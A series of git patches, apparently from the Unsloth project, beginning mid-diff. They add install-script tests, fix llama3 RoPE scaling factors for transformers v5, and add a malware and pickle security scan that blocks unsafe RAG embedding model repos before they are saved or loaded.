+        # The persist call must precede `return 0` at the rocminfo GPU-agent gate
+        # (uniquely identified by the `!/generic/` clause the other probes lack).
+        gate = source.find("Name:[[:space:]]*gfx[1-9]/ && !/generic/")
         assert gate != -1
         window = source[gate : gate + 900]
         assert "_persist_rocm_wsl_dropin" in window
@@ -3441,6 +3442,49 @@ class TestInstallShDropinPersistence:
         assert "profile.d/unsloth-rocm-wsl.sh" in body
 
 
+_STRIXHALO_WSL_PATH = PACKAGE_ROOT / "scripts" / "install_rocm_wsl_strixhalo.sh"
+
+
+class TestWslRerouteNvidiaGuard:
+    """_maybe_reroute_strixhalo_to_2404 must skip the AMD reroute on hybrid AMD+NVIDIA hosts by
+    reusing _has_usable_nvidia_gpu (CUDA_VISIBLE_DEVICES-aware + /proc/driver/nvidia fallback),
+    which must be defined before the reroute's call site so it is actually available."""
+
+    def test_reroute_calls_nvidia_helper_before_amd_signal(self):
+        source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
+        start = source.find("_maybe_reroute_strixhalo_to_2404()")
+        assert start != -1
+        body = source[start : start + 1200]
+        nv = body.find("_has_usable_nvidia_gpu")
+        wmi = body.find("_wsl_amd_gpu_name")
+        assert nv != -1, "reroute must consult _has_usable_nvidia_gpu before deciding to reroute"
+        assert wmi != -1
+        # The NVIDIA guard must precede the AMD/WMI signal and return early.
+        assert nv < wmi
+        assert body.find("return 0", nv) < wmi
+
+    def test_nvidia_helper_and_deps_defined_before_reroute_callsite(self):
+        source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
+        call = source.find("\n_maybe_reroute_strixhalo_to_2404 || true")
+        assert call != -1
+        for fn in ("_run_bounded() {", "_cvd_hides_nvidia() {", "_has_usable_nvidia_gpu() {"):
+            idx = source.find(fn)
+            assert idx != -1 and idx < call, f"{fn} must be defined before the reroute call"
+
+
+class TestStrixhaloGfxOverridePipefail:
+    """The UNSLOTH_WSL_GFX override check must use a consuming grep, not grep -q: under
+    `set -o pipefail` an early -q exit SIGPIPEs printf and misreports the arch on large output."""
+
+    def test_gfx_override_uses_consuming_grep(self):
+        source = _STRIXHALO_WSL_PATH.read_text(encoding = "utf-8")
+        idx = source.find('grep -E "Name:[[:space:]]*${GFX}')
+        assert idx != -1, "GFX override must use a consuming grep -E (not grep -q)"
+        line = source[idx : source.find("\n", idx)]
+        assert ">/dev/null" in line
+        assert 'grep -qE "Name:[[:space:]]*${GFX}' not in source
+
+
 class TestLlamaCppRuntimeWslOrdering:
     """The serve-time launcher mirrors binary_env: system HIP before the bundle dir on WSL."""
 

From bdb958e052eca6a47c17410558562f00481f71b8 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 7 Jul 2026 04:16:57 -0700
Subject: [PATCH 231/306] Guard RoPE scaling against the transformers v5 buffer
 blank; honor extended RoPE factor (#6925)

* Guard RoPE scaling against the transformers v5 buffer blank; honor extended factor

Add a family-agnostic guard that builds each rotary from a scaled config,
blanks its non-persistent buffers (what transformers v5 does on load), runs
loader._fix_rope_inv_freq, and asserts every buffer is restored to its scaled
value (llama3 and longrope). This catches the whole bug class, not just the
one call site, and is validated to fail on the pre-fix repair.

Also make LlamaExtendedRotaryEmbedding read the llama3 factor from the config
instead of hardcoding 8 (wrong for Llama-3.2, factor 32), falling back to the
Llama-3.1 defaults when built without a config.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Pass config into extended rotary codegen; skip v5 round-trip on transformers 4.x

- patch_llama_rope_scaling now builds the llama3 extended rotary with
  config=self.config so it reads the real factor (32 for Llama-3.2) instead
  of falling back to 8; the template already references self.config.
- test_v5_blank_repair_roundtrip now skips when loader._NEEDS_ROPE_FIX is
  False, since _fix_rope_inv_freq is a no-op on transformers 4.x and cannot
  restore the blanked buffers there.

* Raise stream deadlock-guard timeouts from 0.2s to 5.0s in passthrough tests

These asyncio.wait_for guards bound test setup and cross-task event
signaling that complete near-instantly on success; the 0.2s budget is a
latency assertion in disguise and times out under CI scheduling load
(seen on the 3.11 matrix leg while 3.10/3.12/3.13 pass the same commit).
5.0s matches the timeout used elsewhere in the suite and still fails fast
on a real hang. No test relies on the guard expiring.

* Extended rotary reads rope_parameters as well as rope_scaling

transformers v5 stores llama3 scaling under config.rope_parameters and
exposes rope_scaling only as a back-compat property. Reading that property
works on 5.0-5.13 (verified: factor resolves to 32 for Llama-3.2), but a
future release may drop the shim, after which the subclass path would fall
back to factor 8. Read either field so the factor survives the rename.
Adds test_extended_rotary_reads_rope_parameters_v5 (fails on the old
single-field read: rope_parameters-only config resolves to 8, not 32).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 .../tests/test_openai_tool_passthrough.py     |  18 +--
 tests/utils/test_rope_scaling_drift.py        | 138 ++++++++++++++++++
 unsloth/models/_utils.py                      |   1 +
 unsloth/models/llama.py                       |  17 ++-
 4 files changed, 160 insertions(+), 14 deletions(-)

diff --git a/studio/backend/tests/test_openai_tool_passthrough.py b/studio/backend/tests/test_openai_tool_passthrough.py
index ccbd78e2b1..05e017ba7f 100644
--- a/studio/backend/tests/test_openai_tool_passthrough.py
+++ b/studio/backend/tests/test_openai_tool_passthrough.py
@@ -1900,7 +1900,7 @@ class TestApiMonitorProviderAndCompletionStreams:
                     "chatcmpl-test",
                     monitor_id = monitor_id,
                 ),
-                timeout = 0.2,
+                timeout = 5.0,
             )
             assert isinstance(response, _SameTaskStreamingResponse)
 
@@ -2044,7 +2044,7 @@ class TestApiMonitorProviderAndCompletionStreams:
                     "chatcmpl-test",
                     monitor_id = monitor_id,
                 ),
-                timeout = 0.2,
+                timeout = 5.0,
             )
             assert isinstance(response, _SameTaskStreamingResponse)
             gate.set()
@@ -2107,7 +2107,7 @@ class TestApiMonitorProviderAndCompletionStreams:
                     "chatcmpl-test",
                     monitor_id = monitor_id,
                 ),
-                timeout = 0.2,
+                timeout = 5.0,
             )
             assert isinstance(response, _SameTaskStreamingResponse)
 
@@ -2190,7 +2190,7 @@ class TestApiMonitorProviderAndCompletionStreams:
                     "chatcmpl-test",
                     monitor_id = monitor_id,
                 ),
-                timeout = 0.2,
+                timeout = 5.0,
             )
             assert isinstance(response, _SameTaskStreamingResponse)
 
@@ -2252,7 +2252,7 @@ class TestApiMonitorProviderAndCompletionStreams:
                     "chatcmpl-test",
                     monitor_id = monitor_id,
                 ),
-                timeout = 0.2,
+                timeout = 5.0,
             )
             assert isinstance(response, _SameTaskStreamingResponse)
             assert cancel_id in inf_mod._CANCEL_REGISTRY
@@ -2323,13 +2323,13 @@ class TestApiMonitorProviderAndCompletionStreams:
                     monitor_id = monitor_id,
                 )
             )
-            await asyncio.wait_for(entered.wait(), timeout = 0.2)
+            await asyncio.wait_for(entered.wait(), timeout = 5.0)
             assert cancel_id in inf_mod._CANCEL_REGISTRY
 
             task.cancel()
             with pytest.raises(asyncio.CancelledError):
                 await task
-            await asyncio.wait_for(cancelled.wait(), timeout = 0.2)
+            await asyncio.wait_for(cancelled.wait(), timeout = 5.0)
             assert cancel_id not in inf_mod._CANCEL_REGISTRY
 
         asyncio.run(_run())
@@ -2389,13 +2389,13 @@ class TestApiMonitorProviderAndCompletionStreams:
                     "chatcmpl-test",
                     monitor_id = monitor_id,
                 ),
-                timeout = 0.2,
+                timeout = 5.0,
             )
             assert isinstance(response, _SameTaskStreamingResponse)
             assert cancel_id in inf_mod._CANCEL_REGISTRY
 
             gate.set()
-            await asyncio.wait_for(returned.wait(), timeout = 0.2)
+            await asyncio.wait_for(returned.wait(), timeout = 5.0)
             await asyncio.sleep(0)
             await response._unstarted_cleanup()
             assert upstream_response.is_closed
diff --git a/tests/utils/test_rope_scaling_drift.py b/tests/utils/test_rope_scaling_drift.py
index 98f7e2db62..7a738e236c 100644
--- a/tests/utils/test_rope_scaling_drift.py
+++ b/tests/utils/test_rope_scaling_drift.py
@@ -257,6 +257,63 @@ def test_recompute_helper_scales_on_cpu():
     ), "_unsloth_recompute_inv_freq must return vanilla inv_freq when unscaled."
 
 
+def test_extended_rotary_reads_config_factor():
+    # LlamaExtendedRotaryEmbedding must honor the config factor, not hardcode 8
+    # (Llama-3.2 uses 32); otherwise the subclass path re-drops scaling (#2405).
+    from types import SimpleNamespace
+
+    from unsloth.models.llama import LlamaExtendedRotaryEmbedding
+
+    rot = object.__new__(LlamaExtendedRotaryEmbedding)
+    rot.base = ROPE_THETA
+    rot.dim = HEAD_DIM
+    rot._unsloth_rope_config = SimpleNamespace(
+        rope_scaling = {
+            "rope_type": "llama3",
+            "factor": 32.0,
+            "low_freq_factor": 1.0,
+            "high_freq_factor": 4.0,
+            "original_max_position_embeddings": 8192,
+        }
+    )
+    vanilla = _vanilla_inv_freq()
+    scaled = rot._apply_inv_freq_scaling(vanilla).reshape(-1)
+    ratio = float(vanilla[-1]) / float(scaled[-1])
+    assert abs(ratio - 32.0) < 1e-3, (
+        f"LlamaExtendedRotaryEmbedding ignored config factor 32 (ratio {ratio}); the "
+        "low-frequency band must be divided by the config factor (issue #2405)."
+    )
+
+
+def test_extended_rotary_reads_rope_parameters_v5():
+    # transformers v5 stores scaling under rope_parameters (rope_scaling is a
+    # back-compat shim that may be removed); the factor must still be read.
+    from types import SimpleNamespace
+
+    from unsloth.models.llama import LlamaExtendedRotaryEmbedding
+
+    rot = object.__new__(LlamaExtendedRotaryEmbedding)
+    rot.base = ROPE_THETA
+    rot.dim = HEAD_DIM
+    rot._unsloth_rope_config = SimpleNamespace(
+        rope_scaling = None,
+        rope_parameters = {
+            "rope_type": "llama3",
+            "factor": 32.0,
+            "low_freq_factor": 1.0,
+            "high_freq_factor": 4.0,
+            "original_max_position_embeddings": 8192,
+        },
+    )
+    vanilla = _vanilla_inv_freq()
+    scaled = rot._apply_inv_freq_scaling(vanilla).reshape(-1)
+    ratio = float(vanilla[-1]) / float(scaled[-1])
+    assert abs(ratio - 32.0) < 1e-3, (
+        f"Extended rotary ignored rope_parameters factor 32 (ratio {ratio}); v5 "
+        "keeps the factor under rope_parameters, not rope_scaling."
+    )
+
+
 def _cos_at_position(rot, position):
     """cos row at one position, built like _set_cos_sin_cache but CPU-only."""
     inv_freq = rot.inv_freq.float().cpu()
@@ -324,6 +381,87 @@ def test_extended_cache_keeps_scaling_after_growth():
     )
 
 
+def _blank_nonpersistent_buffers(module):
+    """Mimic transformers v5 meta-load: overwrite non-persistent buffers with garbage."""
+    for name, buf in list(module.named_buffers()):
+        leaf = module
+        *parents, attr = name.split(".")
+        for part in parents:
+            leaf = getattr(leaf, part)
+        if attr in getattr(leaf, "_non_persistent_buffers_set", set()):
+            setattr(leaf, attr, torch.rand_like(buf))
+
+
+def _build_llama3_rotary():
+    from unsloth.models import llama as llama_mod
+    config = _make_config(LLAMA3_ROPE_SCALING)
+    return llama_mod.LlamaRotaryEmbedding(config = config), config
+
+
+def _build_longrope_rotary():
+    from types import SimpleNamespace
+
+    from unsloth.models import llama as llama_mod
+
+    short_factor, long_factor = [1.05] * 48, [1.3] * 48
+    rot = llama_mod.LongRopeRotaryEmbedding(
+        dim = 96,
+        max_position_embeddings = 131072,
+        original_max_position_embeddings = 4096,
+        base = ROPE_THETA,
+        short_factor = short_factor,
+        long_factor = long_factor,
+    )
+    config = SimpleNamespace(
+        rope_scaling = {
+            "rope_type": "longrope",
+            "short_factor": short_factor,
+            "long_factor": long_factor,
+            "original_max_position_embeddings": 4096,
+        }
+    )
+    return rot, config
+
+
+@requires_cuda
+@pytest.mark.parametrize(
+    "build", [_build_llama3_rotary, _build_longrope_rotary], ids = ["llama3", "longrope"]
+)
+def test_v5_blank_repair_roundtrip(build):
+    # Build scaled -> blank non-persistent buffers (what transformers v5 does on
+    # load) -> run the repair -> every buffer must return to its scaled value.
+    # Family-agnostic: encodes no scaling math, so it guards any rotary that
+    # keeps scaling in a buffer (issue #2405 / PR #6907).
+    from unsloth.models import loader
+
+    # The repair only runs on transformers v5 (it is what blanks the buffers);
+    # on v4 _fix_rope_inv_freq is a no-op, so the round-trip cannot restore.
+    if not loader._NEEDS_ROPE_FIX:
+        pytest.skip("transformers < 5 does not blank rope buffers; repair is a no-op")
+
+    rot, config = build()
+    snapshot = {name: buf.detach().clone() for name, buf in rot.named_buffers()}
+    assert snapshot, "rotary registers no buffers; nothing to guard"
+
+    _blank_nonpersistent_buffers(rot)
+    assert any(
+        not torch.equal(rot.get_buffer(name), snapshot[name]) for name in snapshot
+    ), "blanking changed no buffer; the round-trip would be vacuous"
+
+    wrapper = torch.nn.Module()
+    wrapper.add_module("rotary_emb", rot)
+    wrapper.config = config
+    loader._fix_rope_inv_freq(wrapper)
+
+    for name in snapshot:
+        assert torch.allclose(
+            rot.get_buffer(name).cpu(), snapshot[name].cpu(), rtol = 1e-4, atol = 1e-6
+        ), (
+            f"{name} was not restored to its scaled value by loader._fix_rope_inv_freq "
+            "after the transformers v5 buffer blank (issue #2405 / PR #6907)."
+        )
+
+
 def test_object_style_rope_scaling_does_not_crash():
     # Object-style rope_scaling must be normalized, not .get()'d directly.
     from dataclasses import dataclass
diff --git a/unsloth/models/_utils.py b/unsloth/models/_utils.py
index 169b610988..1aa2c6e820 100644
--- a/unsloth/models/_utils.py
+++ b/unsloth/models/_utils.py
@@ -2834,6 +2834,7 @@ def patch_llama_rope_scaling(
                 dim = self.head_dim,
                 max_position_embeddings=self.max_position_embeddings,
                 base=self.rope_theta,
+                config=self.config,
             )
         elif scaling_type == "longrope":
             self.rotary_emb = {longrope_rope_function}(
diff --git a/unsloth/models/llama.py b/unsloth/models/llama.py
index c25a031b82..a1da099758 100644
--- a/unsloth/models/llama.py
+++ b/unsloth/models/llama.py
@@ -1930,11 +1930,18 @@ class LlamaExtendedRotaryEmbedding(LlamaRotaryEmbedding):
 
     # From https://github.com/meta-llama/llama-models/blob/main/models/llama3_1/api/model.py#L41
     def _apply_inv_freq_scaling(self, freqs: torch.Tensor):
-        # Values obtained from grid search
-        scale_factor = 8
-        low_freq_factor = 1
-        high_freq_factor = 4
-        old_context_len = 8192  # original llama3 length
+        # llama3 factors from config; Llama-3.1 defaults when built without one
+        # (legacy codegen path). Hardcoding 8 is wrong for e.g. Llama-3.2 (32).
+        # v5 renames rope_scaling -> rope_parameters; read either so the factor
+        # survives even if the rope_scaling back-compat shim is dropped.
+        config = getattr(self, "_unsloth_rope_config", None)
+        rope_scaling = _rope_scaling_as_dict(
+            getattr(config, "rope_scaling", None) or getattr(config, "rope_parameters", None) or {}
+        )
+        scale_factor = rope_scaling.get("factor", 8)
+        low_freq_factor = rope_scaling.get("low_freq_factor", 1)
+        high_freq_factor = rope_scaling.get("high_freq_factor", 4)
+        old_context_len = rope_scaling.get("original_max_position_embeddings", 8192)
 
         low_freq_wavelen = old_context_len / low_freq_factor
         high_freq_wavelen = old_context_len / high_freq_factor

From 414503745e71b52c37117d7a96894ea46fc13ec5 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 7 Jul 2026 04:30:21 -0700
Subject: [PATCH 232/306] Run the malware gate on the RAG embedding model
 before it loads (#6887)

* Run the malware gate on the RAG embedding model before it loads

Setting the RAG embedding model through PUT /api/settings/embedding-model
persisted an arbitrary repo and later handed it straight to
SentenceTransformer, which deserializes pickle weights. Unlike the normal
model-load paths, this route never ran evaluate_file_security, and force
skipped verification entirely, so a repo Hugging Face flags as unsafe (or
any repo under force) could be downloaded and loaded in the backend
process without a scan.

Run the malware/pickle scan at both ends: the settings endpoint now scans
before persisting and returns 409 on a flagged repo even under force
(force still only skips the is-embedding-model type check for offline or
local repos), and the embedder scans again at the load sink so a name that
arrives via env or default is covered too. Local paths and unreachable
scans fail open inside evaluate_file_security, and the sink never bricks
the embedder on a gate error.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Thread the load token into the embedding scan and hard-fail on a block

The load-sink scan ran without a token, so evaluate_file_security (which
passes token=False when none is given) could not reach a gated or private
repo and failed open for exactly the model SentenceTransformer would still
load. Resolve the loader's own token (HF_TOKEN env or the cached login)
and pass it to the sink scan, and fall back to it in the settings endpoint
when the request omits one.

The sink previously raised a plain RuntimeError, which the llama-server
fallback in encode() and _build_st_backend_or_fallback() swallowed as a
routine ST failure, silently switching backends instead of blocking. Raise
a distinct UnsafeEmbeddingModelError that both fallback paths re-raise, so
a flagged model hard-fails.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Scan sentence-transformers module dirs and scope the embedding pickle gate to the ST backend

Extend the RAG embedding malware gate so a poisoned pickle under a SentenceTransformer
module dir (for example 0_Transformer/pytorch_model.bin) blocks. Those dirs are read
from the repo's modules.json and passed as load roots to evaluate_file_security at both
the settings endpoint and the load sink, so such a pickle is treated as root-level there
instead of an unreferenced nested shard that was previously allowed.

Scope the ST pickle scan to the sentence-transformers backend. On the llama-server
backend the embedder loads GGUF files (inert) from the -GGUF companion repo, never the
ST repo's pickle, so a custom ST repo with a flagged pickle and a clean GGUF companion
is no longer rejected. The existing GGUF availability checks already cover that path.

Return 403 for the hard security block instead of 409. The settings UI routes every 409
into the forceable save-anyway flow, but this block cannot be bypassed by force, so it
now uses a distinct status the client treats as non-forceable.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Base the embedding pickle scan on the actual backend, not just the resolver

_llama_backend_active only consulted the auto resolver, so on a GPU box
where auto resolves to sentence-transformers but the process already fell
back to the llama-server backend at runtime (a torch or CUDA load/encode
failure), it returned False and the settings endpoint hard-blocked a save
whose ST pickle is flagged even though the process loads only inert GGUF.

Add active_backend_is_llama, which reflects the actual built backend (True
when the cached backend is a LlamaServerBackend, including a runtime
fallback) and otherwise defers to the resolver as a fresh process would,
and delegate _llama_backend_active to it.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Report the cached embedding backend verbatim, not the resolver

active_backend_is_llama() fell through to the config resolver whenever a
backend was already built but was not llama-server, so a live
sentence-transformers backend could report llama=True once the resolver
picked llama (GPU heuristic or a runtime config change) and wrongly skip
its pickle scan. Once a backend exists, return isinstance(backend,
LlamaServerBackend) directly; only defer to the resolver before any
backend is built.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/rag/embeddings.py         | 117 ++++++
 studio/backend/routes/settings.py             |  78 +++-
 .../test_embedding_model_security_gate.py     | 365 ++++++++++++++++++
 .../tests/test_security_gate_consistency.py   |  13 +
 .../features/settings/api/embedding-model.ts  |   9 +
 .../features/settings/tabs/general-tab.tsx    |   6 +-
 6 files changed, 573 insertions(+), 15 deletions(-)
 create mode 100644 studio/backend/tests/test_embedding_model_security_gate.py

diff --git a/studio/backend/core/rag/embeddings.py b/studio/backend/core/rag/embeddings.py
index 345b4dd853..47d26209b4 100644
--- a/studio/backend/core/rag/embeddings.py
+++ b/studio/backend/core/rag/embeddings.py
@@ -63,6 +63,87 @@ def _install_torchao_stub_once() -> None:
     install_torchao_windows_rocm_stub()
 
 
+class UnsafeEmbeddingModelError(RuntimeError):
+    """Raised when the embedding model repo is flagged unsafe. A distinct type so the
+    llama-server fallback paths re-raise it instead of masking a security block as a
+    routine ST failure."""
+
+
+def _ambient_hf_token() -> str | None:
+    """The HF token the loader itself would use (HF_TOKEN env or the cached login), so
+    the scan can reach a gated/private repo instead of failing open. None if unavailable."""
+    try:
+        from huggingface_hub import get_token
+        return get_token()
+    except Exception:
+        return None
+
+
+def _st_module_subdirs(name: str, token: str | None) -> tuple[str, ...]:
+    """The module directories a SentenceTransformer load reads weights from, taken from
+    the repo's ``modules.json`` (each module's non-empty ``path``, e.g. ``0_Transformer``).
+    ST deserializes ``pytorch_model.bin`` from these dirs, so they are load roots for the
+    security scan: a flagged pickle directly under one must block. Returns () on any
+    failure (no modules.json, offline, malformed) so the guard never bricks the embedder.
+    """
+    try:
+        import json
+
+        from utils.paths import is_local_path
+
+        if is_local_path(name):
+            from pathlib import Path
+            from utils.paths import normalize_path
+
+            path = Path(normalize_path(name)).expanduser() / "modules.json"
+            if not path.is_file():
+                return ()
+            data = json.loads(path.read_text())
+        else:
+            from huggingface_hub import hf_hub_download
+            from huggingface_hub.utils import EntryNotFoundError
+
+            try:
+                local = hf_hub_download(name, "modules.json", token = token or None)
+            except EntryNotFoundError:
+                return ()
+            data = json.loads(open(local).read())
+        subdirs = []
+        for module in data or ():
+            sub = str((module or {}).get("path", "")).strip().strip("/")
+            if sub:
+                subdirs.append(sub)
+        return tuple(dict.fromkeys(subdirs))
+    except Exception:
+        return ()
+
+
+def _guard_model_security(name: str) -> None:
+    """Refuse to load a repo HF flagged as unsafe: a poisoned pickle deserializes inside
+    SentenceTransformer regardless of trust_remote_code. Defense in depth behind the
+    /settings gate (a name can also arrive via env/default); local paths and unreachable
+    scans fail open inside evaluate_file_security. Never bricks the embedder on a gate error.
+    """
+    try:
+        from utils.security import evaluate_file_security, security_load_subdirs
+
+        token = _ambient_hf_token()
+        # Union the audio-model load roots with the ST module dirs so a flagged pickle
+        # directly under a Transformer module dir (0_Transformer/) blocks instead of
+        # passing as an unreferenced nested shard.
+        load_subdirs = tuple(
+            dict.fromkeys((*security_load_subdirs(name, token), *_st_module_subdirs(name, token)))
+        )
+        blocked = evaluate_file_security(name, hf_token = token, load_subdirs = load_subdirs).blocked
+    except Exception:
+        return
+    if blocked:
+        raise UnsafeEmbeddingModelError(
+            f"Embedding model {name!r} is flagged as unsafe by Hugging Face's security "
+            "scan; refusing to load. Set a different RAG embedding model."
+        )
+
+
 def _get(model_name: str | None = None):
     """Cached SentenceTransformer, (re)loading on a name change. Loaded in fp16
     for a ~1.5x speedup at negligible accuracy loss."""
@@ -75,6 +156,7 @@ def _get(model_name: str | None = None):
 
             device = _device()
             logger.info("loading embedding model %s on %s", name, device)
+            _guard_model_security(name)
             _model = SentenceTransformer(
                 name, device = device, model_kwargs = {"torch_dtype": "float16"}
             )
@@ -159,6 +241,8 @@ class _SentenceTransformersBackend:
     ):
         try:
             return _st_encode(texts, model_name = model_name, normalize = normalize)
+        except UnsafeEmbeddingModelError:
+            raise  # a security block must hard-fail, not fall back to llama-server
         except Exception as st_err:  # noqa: BLE001 - runtime ST/CUDA encode failure
             # ST loaded but this encode blew up; swap the process to the llama-server
             # embedder (so later encodes stay in one space) and retry.
@@ -222,6 +306,8 @@ def _build_st_backend_or_fallback():
     try:
         backend.warm(model_name = None)
         return backend
+    except UnsafeEmbeddingModelError:
+        raise  # a security block must hard-fail, not fall back to llama-server
     except Exception as st_err:  # noqa: BLE001 - any ST/torch import or load failure
         fallback = _try_make_llama_backend()
         if fallback is None:
@@ -290,6 +376,37 @@ def _reset_backend() -> None:
         _backend_key = None
 
 
+def active_backend_is_llama() -> bool:
+    """True when this process actually embeds via the llama-server (GGUF) backend.
+
+    Reflects the ACTUAL built backend once one exists: an ``auto`` install that
+    resolves to sentence-transformers but then falls back to llama-server at
+    runtime (``_build_st_backend_or_fallback`` on a torch/CUDA load failure, or
+    ``_switch_to_llama_fallback`` on an encode failure) loads only inert GGUF, so
+    callers gating on the ST pickle must see llama here. Before any backend is
+    built, defers to the resolver (``auto`` -> ``_resolve_auto()``, else the raw
+    key) exactly as a fresh process would. Never raises: a backend probe must not
+    block saving a model."""
+    try:
+        with _backend_lock:
+            backend = _backend
+        if backend is not None:
+            # A backend exists: report what it ACTUALLY is. A concrete
+            # sentence-transformers backend must return False even if the
+            # resolver would now pick llama, so its pickle stays gated. If the
+            # llama import fails we cannot be llama, so fall to the safe False.
+            try:
+                from .embed_llama_server import LlamaServerBackend
+            except Exception:  # noqa: BLE001 - llama plumbing import must never block
+                return False
+            return isinstance(backend, LlamaServerBackend)
+        raw = (config.EMBED_BACKEND or "auto").strip().lower()
+        key = _resolve_auto() if raw in _AUTO_ALIASES else raw
+        return key in _LLAMA_ALIASES
+    except Exception:  # noqa: BLE001 - a backend probe must never block saving
+        return False
+
+
 def warm(model_name: str | None = None) -> None:
     """Eagerly load the embedder so the first real request isn't slow."""
     _get_backend().warm(model_name = model_name)
diff --git a/studio/backend/routes/settings.py b/studio/backend/routes/settings.py
index 862bce8be8..914699f540 100644
--- a/studio/backend/routes/settings.py
+++ b/studio/backend/routes/settings.py
@@ -260,17 +260,29 @@ def _embedding_model_response() -> EmbeddingModelResponse:
     )
 
 
-def _llama_backend_active() -> bool:
-    """True when this install embeds via the llama-server (GGUF) backend."""
-    from core.rag import config as rag_config
-    from core.rag import embeddings
-
+def _ambient_hf_token() -> Optional[str]:
+    """The HF token the loader would use (HF_TOKEN env or the cached login), so a gated
+    repo is scanned rather than failing open. None if unavailable."""
     try:
-        raw = (rag_config.EMBED_BACKEND or "auto").strip().lower()
-        key = embeddings._resolve_auto() if raw in embeddings._AUTO_ALIASES else raw
+        from huggingface_hub import get_token
+        return get_token()
+    except Exception:
+        return None
+
+
+def _llama_backend_active() -> bool:
+    """True when this install actually embeds via the llama-server (GGUF) backend.
+
+    Delegates to the embeddings module so a runtime fallback from
+    sentence-transformers to llama-server (after a torch/CUDA load or encode
+    failure) is honored: in that state the process loads only inert GGUF, so the
+    ST pickle gate below must not hard-block a repo whose GGUF companion is clean.
+    Before any backend is built this still reflects the resolver."""
+    from core.rag import embeddings
+    try:
+        return embeddings.active_backend_is_llama()
     except Exception:  # noqa: BLE001 - backend probe must never block saving
         return False
-    return key in embeddings._LLAMA_ALIASES
 
 
 def _resolves_as_local_gguf(model: str) -> bool:
@@ -357,6 +369,8 @@ def update_embedding_model(
     """Set the RAG embedding model. Unless ``force`` is set, the repo is verified
     to be an embedding model via HF metadata; an unverifiable model (wrong type,
     typo, gated repo, or no network) returns 409 so the UI can offer "save anyway".
+    A repo flagged unsafe by HF's security scan returns 403 instead: a hard block
+    that ``force`` cannot bypass, so the UI must not offer "save anyway".
     Documents indexed under the previous model must be re-uploaded."""
     from utils.models import is_embedding_model
 
@@ -370,15 +384,51 @@ def update_embedding_model(
             event = "settings.update_embedding_model_failed",
             log = logger,
         ) from exc
+    hf_token = (payload.hf_token or "").strip() or None
     # The env/default model needs no verification; saving it is a no-op override.
     # A local GGUF on the llama-server backend is accepted as-is: it is exactly
     # what the backend loads, and HF metadata cannot verify a local path.
-    if (
-        model != default_embedding_model()
-        and not payload.force
-        and not (_llama_backend_active() and _resolves_as_local_gguf(model))
-    ):
-        hf_token = (payload.hf_token or "").strip() or None
+    is_local_gguf = _llama_backend_active() and _resolves_as_local_gguf(model)
+    # The pickle gate only matters for the sentence-transformers backend, which is what
+    # deserializes pickles. On the llama-server backend the embedder loads GGUF files
+    # (inert) from effective_gguf_repo(), so scanning the ST repo's pickle here would
+    # wrongly reject a custom repo whose GGUF companion is clean; the GGUF availability
+    # checks below cover that path instead.
+    scan_st_pickle = (
+        model != default_embedding_model() and not is_local_gguf and not _llama_backend_active()
+    )
+    if scan_st_pickle:
+        # Malware/pickle gate before we persist a repo the embedder later loads with
+        # SentenceTransformer. Runs even under force (force only skips the is-embedding
+        # type check for offline/local repos HF cannot verify); local paths and
+        # unreachable scans fail open inside evaluate_file_security.
+        from utils.security import evaluate_file_security, security_load_subdirs
+        from core.rag.embeddings import _st_module_subdirs
+
+        # Fall back to the loader's own token so a gated/private repo is actually scanned
+        # (a token-less scan fails open for exactly the repo that would still load).
+        scan_token = hf_token or _ambient_hf_token()
+        # Include the ST module dirs (0_Transformer/) so a flagged pickle directly under
+        # one blocks instead of passing as an unreferenced nested shard.
+        load_subdirs = tuple(
+            dict.fromkeys(
+                (
+                    *security_load_subdirs(model, scan_token),
+                    *_st_module_subdirs(model, scan_token),
+                )
+            )
+        )
+        if evaluate_file_security(model, hf_token = scan_token, load_subdirs = load_subdirs).blocked:
+            # 403, not 409: the client routes every 409 into the forceable "save anyway"
+            # flow, but this block is a hard, non-forceable security refusal.
+            raise HTTPException(
+                status_code = 403,
+                detail = (
+                    f"{model!r} is flagged as unsafe by Hugging Face's security scan and "
+                    "cannot be used as the embedding model."
+                ),
+            )
+    if model != default_embedding_model() and not payload.force and not is_local_gguf:
         from core.rag import config as rag_config
 
         # A GGUF-named repo on the llama-server backend is loaded from its .gguf
diff --git a/studio/backend/tests/test_embedding_model_security_gate.py b/studio/backend/tests/test_embedding_model_security_gate.py
new file mode 100644
index 0000000000..940b35d7ba
--- /dev/null
+++ b/studio/backend/tests/test_embedding_model_security_gate.py
@@ -0,0 +1,365 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""The RAG embedding model must pass the malware/pickle gate before it is persisted or
+loaded. A flagged repo (or any repo saved with force) previously reached
+SentenceTransformer unscanned, bypassing the normal model-load protections."""
+
+from pathlib import Path
+import sys
+import types as _types
+
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+
+import pytest
+from fastapi import FastAPI
+from fastapi.testclient import TestClient
+
+import routes.settings as settings
+
+
+class _Decision:
+    def __init__(self, blocked):
+        self.blocked = blocked
+
+
+def _security_stub(blocked):
+    mod = _types.ModuleType("utils.security")
+    mod.evaluate_file_security = lambda *a, **k: _Decision(blocked)
+    mod.security_load_subdirs = lambda *a, **k: ()
+    return mod
+
+
+@pytest.fixture
+def client(monkeypatch):
